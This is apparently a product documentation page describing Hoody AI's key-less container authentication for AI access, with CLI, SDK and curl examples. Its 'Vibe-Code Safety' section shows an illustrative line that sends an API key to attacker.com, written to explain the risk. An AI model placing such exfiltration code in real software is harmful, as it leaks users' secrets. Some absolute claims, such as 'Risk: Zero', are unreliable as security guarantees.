# Hoody AI Security

**Page:** foundation/hoody-ai/security

[Download Raw Markdown](./foundation/hoody-ai/security.md)

---

# Hoody AI Security

**The problem with traditional AI integration:** API keys everywhere. In environment variables. In config files. In logs. Visible to freelancers, AI-generated code, and anyone with container access.

**Hoody AI's solution:** No API keys in containers. Period.

---

## The Key-Less Architecture

**Hoody AI doesn't use API keys.** It uses **container authentication**.

### Traditional Approach (Insecure)

```javascript
// ❌ Real API key exposed in container
const ANTHROPIC_KEY = process.env.ANTHROPIC_KEY; // sk-ant-api03-...
const OPENAI_KEY = process.env.OPENAI_KEY;       // sk-proj-...

// Anyone with container access can copy and use these keys
// They work from anywhere, not just your infrastructure
// Freelancers can use them after project ends
// Malware can exfiltrate them
```

### Hoody AI Approach (Secure)

```javascript
// ✅ No real API key - just container identity
const auth = 'container-dev-env'; // Only proves "I am this container"
// Or: 'container-1', 'container-2' for numbered containers

// This auth token:
// - Doesn't work outside your infrastructure
// - Dies when container is deleted
// - Can't be used by freelancers elsewhere
// - Is useless if exfiltrated
```

**Key insight:** `container-X` is not an API key. It's a container identity token that only proves which container is making the request. The `X` can be either the container name (e.g., `container-dev-env`) or a number (e.g., `container-1`, `container-2`, `container-3`).

**Numbered containers for usage tracking:** Using numbered container identities (e.g., `container-1`, `container-2`) enables better AI usage attribution in the future. While per-container usage tracking isn't fully implemented yet, numbered identities will allow you to:
- Track AI consumption by specific workloads
- Attribute costs to individual clients/projects
- Generate detailed billing reports

**Future-proofing:** If you anticipate needing granular usage tracking, use numbered container identities now (`container-1`, `container-2`, etc.) rather than descriptive names. This makes it easier to aggregate and analyze AI usage patterns when detailed tracking features are released.

---

## How It Works

### 1. Host-Level Isolation

Hoody AI runs **on the HOST**, not inside containers:

```
Your Physical Server
├── Host OS (Bare Metal)
│   └── Hoody AI Service
│       ├── Listens: https://ai.hoody.icu/api/v1
│       ├── Holds: Your real Anthropic/OpenAI API keys
│       ├── Accepts: Only requests from local containers
│       └── Verifies: Container identity + permissions
│
└── Containers (Isolated)
    ├── Container 1: Can access AI (if enabled)
    ├── Container 2: Can access AI (if enabled)
    └── Container 3: Cannot access AI (disabled)
```

**Containers never see your real API keys.** They only see `container-X` authentication tokens.

### 2. Container-Restricted Access

**Authentication flow:**

```
1. Container sends: "Bearer container-dev-env"
2. Hoody AI checks:
   ✓ Is this request from a container on THIS server?
   ✓ Does container "dev-env" exist?
   ✓ Is AI enabled for this container?
3. If all checks pass:
   → Use real API key (from host)
   → Call AI provider
   → Return response to container
```

**If container identity is copied elsewhere:**
```
1. Attacker tries: "Bearer container-dev-env" from different server
2. Hoody AI checks:
   ✗ Request not from local container
   → REJECT (401 Unauthorized)
```

### 3. Zero-Knowledge Privacy

**Traffic flow:**
```
Container → Hoody AI (your server) → AI Provider → Response
```

**What Hoody platform knows:**
- You created a container
- Container has AI enabled
- [That's it]

**What Hoody platform DOESN'T know:**
- Your AI prompts
- AI responses
- What you're building
- Your API usage patterns

The AI proxy runs on YOUR hardware. We never see the traffic.

---

## Security Benefits

### No Key Exposure


**Traditional setup:** API keys in environment variables

```bash
# .env file
ANTHROPIC_KEY=sk-ant-api03-real-key-here
OPENAI_KEY=sk-proj-real-key-here
```

**Risks:**
- Visible in process lists (`ps aux | grep KEY`)
- Logged in error messages
- Visible to debugging tools
- Copied to snapshots
- Shared with freelancers
- Accessible to AI-generated code



**No API keys in containers**

```bash
# No .env needed
# Just use: container-{name}
```

**Benefits:**
- Nothing to leak
- Nothing to rotate
- Nothing to secure
- Instant revocation (delete container)


### Safe Onboarding

**Scenario:** Hiring a freelancer to build a feature

**Without Hoody AI:**
```
1. Give freelancer access to server
2. Give them API keys (or they see them in env vars)
3. Hope they don't copy/abuse them
4. After project: Rotate all keys (painful)
5. Risk: They already copied the keys
```

**With Hoody AI:**
```
1. Create container: "freelancer-alice"
2. Enable AI access
3. Share container URL
4. They use: "container-freelancer-alice" (works only from that container)
5. After project: Delete container (instant revocation)
6. Risk: Zero - their auth token is now useless
```

### Vibe-Code Safety

**Scenario:** AI generates your entire application

**Without Hoody AI:**
```javascript
// AI might generate code like:
console.log('API Key:', process.env.OPENAI_KEY); // Leaked to logs
fetch('https://attacker.com/steal', {
  body: process.env.ANTHROPIC_KEY  // Exfiltrated
});
```

**With Hoody AI:**
```javascript
// AI generates:
console.log('API Key:', process.env.AI_KEY); 
// Logs: "container-dev-env" (useless outside your server)

fetch('https://attacker.com/steal', {
  body: process.env.AI_KEY
});
// Attacker gets: "container-dev-env" (can't use it)
```

### Consumer SaaS Protection

**Scenario:** Building a SaaS app with AI features

**Without Hoody AI:**
```javascript
// Frontend code (visible to users)
const response = await fetch('/api/ai', {
  headers: {
    'Authorization': 'Bearer sk-real-api-key' // ❌ Exposed in browser
  }
});
```

**With Hoody AI:**
```javascript
// Frontend code (visible to users)
const response = await fetch('/api/ai', {
  headers: {
    'Authorization': 'Bearer container-saas-prod' // ✅ Useless if copied
  }
});
```

Even if users inspect network traffic or source code, they get nothing useful.

---

## Advanced Security Features

### Per-Container Permissions

Enable/disable AI access granularly. Delete a container for instant AI revocation. Audit which containers have AI enabled.


  
    ```bash
    # Enable AI for a container
    hoody containers update $CONTAINER_ID --ai

    # Disable AI for untrusted workload (use the SDK/API — see the SDK tab)
    # The `update` command can only enable AI; to disable it, call the API
    # with {"ai": false} or recreate the container with `--no-ai`.

    # Delete a container (instant AI revocation)
    hoody containers delete $CONTAINER_ID

    # Audit: list containers with AI status
    hoody containers list -o json | jq '.[] | {id, name, ai}'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Enable AI for production container
    await client.api.containers.update(prodId, { ai: true });

    // Disable AI for untrusted workload
    await client.api.containers.update(untrustedId, { ai: false });

    // Instant revocation — delete the container
    await client.api.containers.delete(freelancerId);

    // Audit: list containers with AI status
    const containers = await client.api.containers.list();
    containers.data.containers.filter(c => c.ai).forEach(c => {
      console.log(c.name, c.ai);
    });
    ```
  
  
    ```bash
    # Enable AI for production
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$PROD_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"ai": true}'

    # Disable AI for untrusted workload
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$UNTRUSTED_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"ai": false}'

    # Delete container (instant revocation)
    curl -X DELETE "https://api.hoody.icu/api/v1/containers/$FREELANCER_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Audit containers with AI status
    curl "https://api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      | jq '.data.containers[] | {id, name, ai}'
    ```
  


**No key rotation needed.** Just delete the container for instant revocation.

### MITM Rules for Prompt Verification

Beyond container-level access control, the Hoody Kit `agent` service (served by `hoody-workspaces` and exposed as `hoody-agent`) ships a built-in rule engine that lets you enforce security policies at the prompt level — without writing any code. Define a rule on the `chat.system.transform` event that appends guardrails to every system prompt: "Never execute destructive commands without asking first." Tag it for `prod` sessions only. The AI literally cannot bypass the instruction — it is injected into the system prompt at engine level, after assembly, before the LLM sees it.

You can also monitor what AI agents read and write. A rule on `tool.execute.after` with `toolName: "read"` logs every file the agent accesses. A rule on `session.error` sends a webhook to your incident system when any agent fails. All of this is JSON configuration — no JavaScript, no proxy, no URL changes.

See the full rule engine documentation in [MITM: Built-In Rule Engine](/foundation/hoody-ai/mitm/#built-in-rule-engine-zero-code-mitm).

---

## Comparison: Traditional vs Hoody AI

| Aspect | Traditional API Keys | Hoody AI |
|--------|---------------------|-----------|
| **Key Storage** | In containers (.env files) | On HOST only |
| **Key Visibility** | Visible to container users | Never exposed |
| **Key Rotation** | Manual, painful | Not needed |
| **Revocation** | Rotate key globally | Delete container |
| **Freelancer Risk** | Can copy and reuse | Container-restricted |
| **Code Gen Risk** | AI can leak keys | No keys to leak |
| **SaaS Exposure** | Keys visible in code | Useless container tokens |
| **Privacy** | Provider sees usage | Zero-knowledge (runs on your server) |

---

## Use Cases

### Multi-Tenant SaaS

Give each customer their own container:

```bash
# Customer A
container-customer-acme → AI enabled

# Customer B
container-customer-techcorp → AI enabled

# Free tier customer
container-customer-startup → AI disabled
```

Each customer isolated. Instant provisioning and revocation.

### Development Teams

Per-developer containers:

```bash
# Alice's dev environment
container-dev-alice → AI enabled

# Bob's dev environment
container-dev-bob → AI enabled

# CI/CD pipeline
container-ci-prod → AI disabled (doesn't need it)
```

Developers can't access each other's resources. Production isolated from development.

### Outsourced Development

Contractors get temporary container access:

```bash
# Contract period: 3 months
container-contractor-alice → AI enabled

# After contract ends:
DELETE container-contractor-alice
# Alice's access immediately revoked
# No key rotation needed
# No risk of continued usage
```

---

## Best Practices

### Container Naming for Security

Use descriptive names that indicate purpose and access level:

```bash
container-prod-api        # Production workload
container-dev-alice       # Developer-specific
container-client-acme     # Client-specific
container-untrusted-test  # Limited permissions
```

Names become part of authentication, making audit trails clearer.

### Disable AI for Untrusted Code

If running third-party code or untrusted workloads:


  
    ```bash
    # The `update` command can only enable AI (--ai); it has no flag to
    # turn AI off. To run an untrusted workload without AI, create the
    # container with AI disabled from the start:
    hoody containers create --project $PROJECT_ID --server-id $SERVER_ID \
      --name my-untrusted-container --no-ai
    ```
  
  
    ```typescript
    await client.api.containers.update(containerId, { ai: false });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"ai": false}'
    ```
  


### Use Snapshots for Rollback

Before giving AI extensive access:


  
    ```bash
    # Create snapshot before AI generation
    hoody snapshots create -c $CONTAINER_ID --alias "before-ai-generation"

    # Let AI generate code...

    # If result is bad, restore using snapshot name
    hoody snapshots restore -c $CONTAINER_ID --name "snap-20250111-125430"
    ```
  
  
    ```typescript
    // Create snapshot before AI generation
    const snapshot = await client.api.containers.createSnapshot(
      containerId,
      { alias: 'before-ai-generation' }
    );

    // Let AI generate code...

    // If result is bad, restore
    await client.api.containers.restoreSnapshot(
      containerId,
      snapshot.data.snapshot.name
    );
    ```
  
  
    ```bash
    # Create snapshot with alias
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "before-ai-generation"}'

    # Note the snapshot name returned (e.g., "snap-20250111-125430")
    # Let AI generate code...

    # If result is bad, restore using snapshot name
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/snap-20250111-125430" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


### Monitor AI Usage

Regular audits of container AI consumption:


  
    ```bash
    # Weekly audit — list containers with AI enabled
    hoody containers list -o json | jq '.[] | select(.ai == true) | {name, ai}'
    ```
  
  
    ```typescript
    const containers = await client.api.containers.list();
    const aiEnabled = containers.data.containers.filter(c => c.ai);
    aiEnabled.forEach(c => console.log(c.name, c.ai));
    ```
  
  
    ```bash
    # Weekly audit
    curl "https://api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      | jq '.data.containers[] | select(.ai == true) | {name, ai}'
    ```
  


Identify which containers have AI access enabled.

---

## Useful Questions

### What if I want to use my own AI providers?

You own the infrastructure, so you can configure your own AI providers directly on the host instead of using Hoody AI credits. However, you'd need to handle the API key management yourself, which reintroduces the security challenges that Hoody AI solves.

### Can containers intercept each other's AI traffic?

No. Each container's AI requests are isolated. Container A cannot see Container B's prompts or responses.

### What happens if my server is compromised?

If an attacker gains root access to your server, they could potentially access the Hoody AI configuration. Threat model:
- Containers remain isolated from each other
- Attacker still needs to know which containers exist
- You can instantly revoke by deleting containers
- Your provider/gateway API keys are stored on the host (in host-side config, plaintext by default); root on the host can read them, just as with any self-hosted AI gateway

This remains far better than scattering the same keys across every container that needs AI access, but treat the host filesystem as part of the key's trust boundary and disk-encrypt accordingly.

### Can I rate-limit per-container?

Not currently. Container-level rate limiting is not yet implemented. AI access is controlled at the container level via the `ai` boolean flag (enabled/disabled only).

### How do I prevent abuse from vibe-coded apps?

1. Enable AI only on trusted containers
2. Monitor usage regularly
3. Use snapshots to rollback bad AI generations
4. Review AI-generated code before deployment

---

## Troubleshooting

### "Unauthorized" Even Though Container Has AI Enabled

**Possible causes:**
- Container authentication token incorrect (must be exact: `container-{name}`)
- Container on different server than Hoody AI
- Container permissions not updated (API cache delay)

**Solution:**
```bash
# Verify container status
curl "https://api.hoody.icu/api/v1/containers/{id}" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# Ensure ai: true
# Check exact container name
# Confirm using correct authentication: "Bearer container-{exact-name}"
```

### Container Identity Works Locally But Not in Production

**Cause:** Production container on different server

**Solution:** Each server runs its own Hoody AI instance. Container authentication only works on the server where the container exists.

### Suspicious AI Usage Detected

**Actions:**
1. Disable AI for that container immediately
2. Review container activity
3. Consider deleting and recreating if compromised

```bash
# Immediate revocation
curl -X PATCH "https://api.hoody.icu/api/v1/containers/{id}" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": false}'
```

---

## What's Next

- [Usage Guide →](/foundation/hoody-ai/usage/) - Integration examples
- [Models →](/foundation/hoody-ai/models/) - Available AI models
- [Security Principles →](/vision/security/) - Overall Hoody security model